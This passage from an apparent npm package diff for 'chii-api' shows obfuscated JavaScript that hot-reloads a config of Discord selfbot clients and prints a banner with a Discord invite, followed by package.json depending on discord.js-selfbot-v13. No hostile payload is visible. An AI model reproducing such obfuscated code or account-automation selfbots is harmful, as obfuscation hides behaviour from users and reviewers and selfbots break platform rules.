0clients.find(client\x20=>\x20client.userConfig.applicationId\x20===\x20userConfig.applicationId);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(existingClient)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20existingClient.updateConfig(userConfig);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20updatedClients.push(existingClient);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20newClient\x20=\x20new\x20MyClient(userConfig);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20updatedClients.push(newClient);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.log(gradient.rainbow(`ADD\x20ApplicationId\x20Number\x20:\x20${userConfig.applicationId}!\x20\x0a`));\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20});\x0a\x20\x20\x20\x20clients\x20=\x20updatedClients;\x0a};\x0alet\x20debounceTimeout;\x0afs.watch(config_path,\x20(eventType,\x20filename)\x20=>\x20{\x0a\x20\x20\x20\x20if\x20(eventType\x20===\x20\x27change\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(debounceTimeout)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20clearTimeout(debounceTimeout);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20debounceTimeout\x20=\x20setTimeout(()\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20newConfig\x20=\x20JSON.parse(fs.readFileSync(config_path));\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20config\x20=\x20newConfig;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20updateClients(newConfig);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error(gradient.rainbow(\x27เกิดข้อผิดพลาดในการอ่านไฟล์กำหนดค่าที่อัปเดต:\x27,\x20error.message));\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20},\x20100);\x0a\x20\x20\x20\x20}\x0a});\x0a','1212892JuiieU','rainbow','475lxcJxw','745171Fwnbua','gradient-string','175113zNLppQ','1046216zSZlUE','12019320FDZVML','910798jpIVgz'];_0xb2c7=function(){return _0x44630e;};return _0xb2c7();}module[_0x34fc36(0xef)]=CHII_Code;const gradient=require(_0x34fc36(0xf8));console[_0x34fc36(0xf1)](gradient[_0x34fc36(0xf5)]('\x0a\x20\x20\x20\x20███╗░░░███╗███████╗██████╗░███╗░░░███╗░██╗░░░░░░░██╗███╗░░██╗░██████╗░\u2003\u2003░█████╗░██╗░░██╗██╗██╗\x0a\x20\x20\x20\x20████╗░████║██╔════╝██╔══██╗████╗░████║░██║░░██╗░░██║████╗░██║██╔════╝░\u2003\u2003██╔══██╗██║░░██║██║██║\x0a\x20\x20\x20\x20██╔████╔██║█████╗░░██║░░██║██╔████╔██║░╚██╗████╗██╔╝██╔██╗██║██║░░██╗░\u2003\u2003██║░░╚═╝███████║██║██║\x0a\x20\x20\x20\x20██║╚██╔╝██║██╔══╝░░██║░░██║██║╚██╔╝██║░░████╔═████║░██║╚████║██║░░╚██╗\u2003\u2003██║░░██╗██╔══██║██║██║\x0a\x20\x20\x20\x20██║░╚═╝░██║███████╗██████╔╝██║░╚═╝░██║░░╚██╔╝░╚██╔╝░██║░╚███║╚██████╔╝\u2003\u2003╚█████╔╝██║░░██║██║██║\x0a\x20\x20\x20\x20╚═╝░░░░░╚═╝╚══════╝╚═════╝░╚═╝░░░░░╚═╝░░░╚═╝░░░╚═╝░░╚═╝░░╚══╝░╚═════╝░\u2003\u2003░╚════╝░╚═╝░░╚═╝╚═╝╚═╝\x0a\x0a\x20\x20\x20\x20▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰\x0a\x20\x20\x20\x20Join\x20Server\x20Discord\x20:\x20https://discord.gg/5gAsw4Pawq\x0a\x20\x20\x20\x20▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰\x0a'));
|
package/package.json
ADDED
@@ -0,0 +1,30 @@
|
|
1
|
+
{
|
2
|
+
"name": "chii-api",
|
3
|
+
"version": "1.1.1",
|
4
|
+
"description": "Streaming status for Discord accounts",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "node index.js"
|
8
|
+
},
|
9
|
+
"repository": {
|
10
|
+
"type": "git",
|
11
|
+
"url": "git+https://github.com/AD-CHII/"
|
12
|
+
},
|
13
|
+
"keywords": [
|
14
|
+
"Discord js",
|
15
|
+
"Streaming Discord"
|
16
|
+
],
|
17
|
+
"author": "Devloper CHII",
|
18
|
+
"license": "ISC",
|
19
|
+
"bugs": {
|
20
|
+
"url": "https://github.com/AD-CHII/Medmwng-Discord"
|
21
|
+
},
|
22
|
+
"homepage": "https://github.com/AD-CHII/Medmwng-Discord#readme",
|
23
|
+
"dependencies": {
|
24
|
+
"discord.js-selfbot-v13": "^3.3.0",
|
25
|
+
"fs": "^0.0.1-security",
|
26
|
+
"os": "^0.1.2",
|
27
|
+
"path": "^0.12.7",
|
28
|
+
"gradient-string": "^2.0.2"
|
29
|
+
}
|
30
|
+
}
|